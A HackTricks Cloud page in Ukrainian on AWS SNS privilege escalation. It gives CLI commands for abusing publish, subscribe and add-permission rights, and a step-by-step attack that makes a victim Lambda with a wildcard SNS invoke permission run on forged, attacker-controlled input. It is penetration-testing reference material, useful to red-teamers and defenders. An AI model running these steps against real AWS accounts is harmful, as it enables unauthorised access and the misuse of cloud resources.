AWS - SNS Privesc
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
SNS
Для отримання додаткової інформації див.:
sns:Publish
Зловмисник може надсилати шкідливі або небажані повідомлення в тему SNS, що потенційно може призвести до пошкодження даних, ініціювання небажаних дій або виснаження ресурсів.
aws sns publish --topic-arn <value> --message <value>
Потенційний вплив: Використання вразливості, пошкодження даних, небажані дії або вичерпання ресурсів.
sns:Subscribe
Зловмисник може підписатися на тему SNS, потенційно отримавши несанкціонований доступ до повідомлень або порушивши нормальне функціонування додатків, що використовують цю тему.
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
Потенційний вплив: Несанкціонований доступ до повідомлень (чутлива інформація), порушення роботи застосунків, які залежать від ураженого topic.
sns:AddPermission
Зловмисник може надати неавторизованим користувачам або сервісам доступ до SNS topic, що потенційно дозволяє отримати додаткові права.
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
Можливий вплив: несанкціонований доступ до topic, розкриття повідомлень або маніпуляція topic з боку неавторизованих користувачів чи сервісів, порушення нормальної роботи додатків, що залежать від topic.
Виклик Lambda шляхом зловживання wildcard SNS permission (no SourceArn)
Якщо resource-based policy функції Lambda дозволяє sns.amazonaws.com викликати її без обмеження джерела topic (SourceArn), будь-який SNS topic (навіть в іншому account) може підписатися та тригернути функцію. Зловмисник із базовими SNS permissions може змусити Lambda виконатися під її IAM role з input, контрольованим зловмисником.
tip
TODO: Чи справді це можна зробити між акаунтами?
Передумови
- Політика жертви Lambda містить statement як нижче, без умови
SourceArn:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}
Кроки зловживання (в тому ж акаунті або між акаунтами)
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)
# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>
# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
Можливий вплив: Цільова Lambda виконується з її IAM role, обробляючи attacker-controlled input. Це може бути використано, щоб змусити функцію виконувати чутливі дії (наприклад, запис у S3, доступ до secrets, змінення ресурсів) залежно від її дозволів.
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud